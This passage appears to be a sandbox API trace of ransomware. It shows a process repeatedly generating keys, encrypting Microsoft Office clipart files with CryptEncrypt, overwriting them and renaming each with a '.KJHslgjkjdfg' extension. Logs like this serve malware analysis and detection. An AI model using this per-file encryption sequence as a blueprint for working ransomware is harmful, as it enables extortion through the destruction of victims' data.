lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.201] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.201] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.201] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.201] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b4, lpOverlapped=0x0) returned 1 [0218.201] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0218.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.201] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0218.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.202] SetEndOfFile (hFile=0x130) returned 1 [0218.205] GetProcessHeap () returned 0x2ef0000 [0218.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.205] GetProcessHeap () returned 0x2ef0000 [0218.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.kjhslgjkjdfg")) returned 1 [0218.207] CloseHandle (hObject=0x130) returned 1 [0218.207] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0218.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.209] GetProcessHeap () returned 0x2ef0000 [0218.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.210] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.212] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.212] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.212] GetProcessHeap () returned 0x2ef0000 [0218.212] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.212] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.213] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.213] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.213] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.213] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.214] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaf4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaf4, lpOverlapped=0x0) returned 1 [0218.214] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb00, dwBufLen=0xb00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb00) returned 1 [0218.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.214] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb00, lpOverlapped=0x0) returned 1 [0218.214] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.214] SetEndOfFile (hFile=0x130) returned 1 [0218.217] GetProcessHeap () returned 0x2ef0000 [0218.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.217] GetProcessHeap () returned 0x2ef0000 [0218.217] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.kjhslgjkjdfg")) returned 1 [0218.220] CloseHandle (hObject=0x130) returned 1 [0218.220] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0218.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.222] GetProcessHeap () returned 0x2ef0000 [0218.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.222] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.222] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.225] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.225] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.225] GetProcessHeap () returned 0x2ef0000 [0218.225] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.225] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.225] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.226] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.226] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.226] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.226] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.226] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5aa4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5aa4, lpOverlapped=0x0) returned 1 [0218.227] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5ab0, dwBufLen=0x5ab0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5ab0) returned 1 [0218.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.228] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5ab0, lpOverlapped=0x0) returned 1 [0218.228] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.228] SetEndOfFile (hFile=0x130) returned 1 [0218.231] GetProcessHeap () returned 0x2ef0000 [0218.231] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.231] GetProcessHeap () returned 0x2ef0000 [0218.231] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.kjhslgjkjdfg")) returned 1 [0218.233] CloseHandle (hObject=0x130) returned 1 [0218.233] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0218.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.234] GetProcessHeap () returned 0x2ef0000 [0218.235] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.235] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.235] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.240] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.240] GetProcessHeap () returned 0x2ef0000 [0218.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.240] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.240] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.240] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.240] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.240] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.241] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.241] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.241] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.241] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cf8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1cf8, lpOverlapped=0x0) returned 1 [0218.242] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d00, dwBufLen=0x1d00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d00) returned 1 [0218.242] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.242] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d00, lpOverlapped=0x0) returned 1 [0218.243] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.243] SetEndOfFile (hFile=0x130) returned 1 [0218.246] GetProcessHeap () returned 0x2ef0000 [0218.246] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.246] GetProcessHeap () returned 0x2ef0000 [0218.246] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.kjhslgjkjdfg")) returned 1 [0218.248] CloseHandle (hObject=0x130) returned 1 [0218.248] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0218.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.250] GetProcessHeap () returned 0x2ef0000 [0218.250] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.250] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.250] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.271] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.272] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.272] GetProcessHeap () returned 0x2ef0000 [0218.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.272] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.272] 